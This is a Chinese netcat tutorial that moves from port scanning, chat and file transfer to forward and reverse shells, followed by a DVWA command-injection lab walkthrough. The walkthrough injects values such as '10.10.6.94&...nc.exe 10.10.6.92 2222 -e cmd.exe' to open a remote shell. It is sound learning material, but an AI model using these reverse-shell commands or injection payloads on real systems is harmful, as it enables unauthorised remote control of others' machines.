nc(netcat)使用教程


一、netcat基本使用

1.1 使用netcat探測端口是否開放

探測單個端口是否開放可以用telnet,專業探測端口可以用Nmap,而對於非滲透用途的Linux可以直接用netcat。

nc -z -v 192.168.220.128 80-9999      #z代表不交互要不然遇到交互的端口nc會阻塞,v代表打印端口情況不然掃了也沒辦理出,下來是IP和要掃描的端口

 

1.2 使用netcat實現局域網聊天

一端先啟好監聽:

nc -l 9999

另一端端進行連接:

nc 192.168.220.128 9999

連接之后的任一邊的輸入在另一邊都可看到

 

1.3 使用netcat實現文件傳輸

和局域網聊天是原理一樣的,不過把輸入輸出重定向到文件

接收入端先啟好監聽:

nc -l 9999 > recv.txt

發送端進行發送:

nc 192.168.220.128 9999 < send.txt

不過傳輸完之后不會自動斷開連接得手動ctrl+c斷開,而且轉輸完成並沒有什么標志不知是否已傳完。

 

1.4 正向連接

控制機器主動連接受控端稱為正向連接(2和3其實就和正向連接一樣的,只是沒執行shell而已)

受控端先啟好監聽:

nc -l -p 9999 -e /bin/bash

控制端主動連接:

nc 192.168.220.129 9999

 

1.5 反向連接

反之控制端啟好監聽等受控端連接稱為反向連接

控制端啟好監聽:

nc -lv 9999

受控端主動連接:

nc 192.168.220.128 9999 -e /bin/bash

說明:

centos版本的nc沒有-e選項,啟監聽時也不(能)用-p;而kali版本有-e選項且啟監聽必須用-p指定端口(不用-p會用隨機端口)

 

二、使用nc獲取shell示例

(本節為2019-07-29更新,本打算新寫一篇,但一想感覺關聯緊密還是在此文后附加更好)

去面試總被問到你有處理過什么比較難的問題嗎、你有發現過什么比較嚴重的漏洞嗎、你有攻擊網站獲取shell的經歷嗎之類的問題,每次總要答:我們做自己產品的滲透只要證明問題存在就可以了不需要你花很大的時間精力去研究這個漏洞能怎么最大化地利用,如果你研究着把系統搞掛了那更加不好。

但事實好像真的是,但滲透以來似乎就沒有自主getshell的經歷這委實有點說不過去。昨天和朋友學習被問反彈shell的問題,我說可以下次帶電腦用dvwa來演示;回答時自信滿滿,但其實沒真正實踐過,今天就先來研究一下然后同時做個備忘。

 

2.1 環境搭建

DVWA所在主機:Windows 7、phpStudy、dvwa、Windows版nc(我這里安裝在“D:\tools\netcat”)、ip地址10.10.6.91

搭配主機:Ubuntu 16.04(其實是什么系統都無所謂,因為作為控制端只需要其上的nc這一個命令)、ip地址10.10.6.92

前置操作:登錄dvwa后切換至"DVWA Security"選項卡將安全級別設置為“Low”,然后切換至“Command injection”選項卡。

前置說明:可以使用nc的-d選項和windows的“start /b”兩種方式實現nc的后台運行;

                  即便不使用后台運行,只要tcp連接建立那就算你關閉“Command injection”頁面,該nc連接還是可用的;即后不后台運行,對於反彈shell沒有什么影響,對於普通的正向shell那就只有已建立的連接可用,頁面閉后端口就不會再監聽。

 

2.2 普通正向shell獲取操作

如下圖所示,在文本框中輸入以下命令:

10.10.6.94 & start /b D:\tools\netcat\nc.exe -l -p 2222 -e c:\windows\system32\cmd.exe

點擊提交后,在windows機器查看端口監聽如下,端口2222被成功監聽:

在搭配機器上連接監聽地址如下,可以看到可成功連接,且可正常使用指定的“c:\windows\system32\cmd.exe”:

 

2.3 反彈shell獲取操作

重置環境:windows上使用如“taskkill /f /pid 46420”形式殺除nc進程,搭配機上直接使用“Ctrl+C”中斷nc連接。

先在搭配置上使用如下命令開啟監聽:

nc -l 2222

效果如下:

然后如下圖所示,在文本框中輸入以下命令:

10.10.6.94&D:\tools\netcat\nc.exe 10.10.6.92 2222 -e c:\windows\system32\cmd.exe

點擊提交后,在windows機器查看端口情況如下,可以看到已主動與搭配置的2222端口建立起一個連接:

 

再回到搭配機上可以看到,已自動切換至cmd窗口界面,嘗試輸入命令也可成功執行:

 

參考:

http://www.cnblogs.com/hyq20135317/p/5491298.html

http://www.2cto.com/article/201311/258748.html

http://blog.sina.com.cn/s/blog_71ce334a01015b1o.html

http://blog.csdn.net/yabingshi_tech/article/details/51821265


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM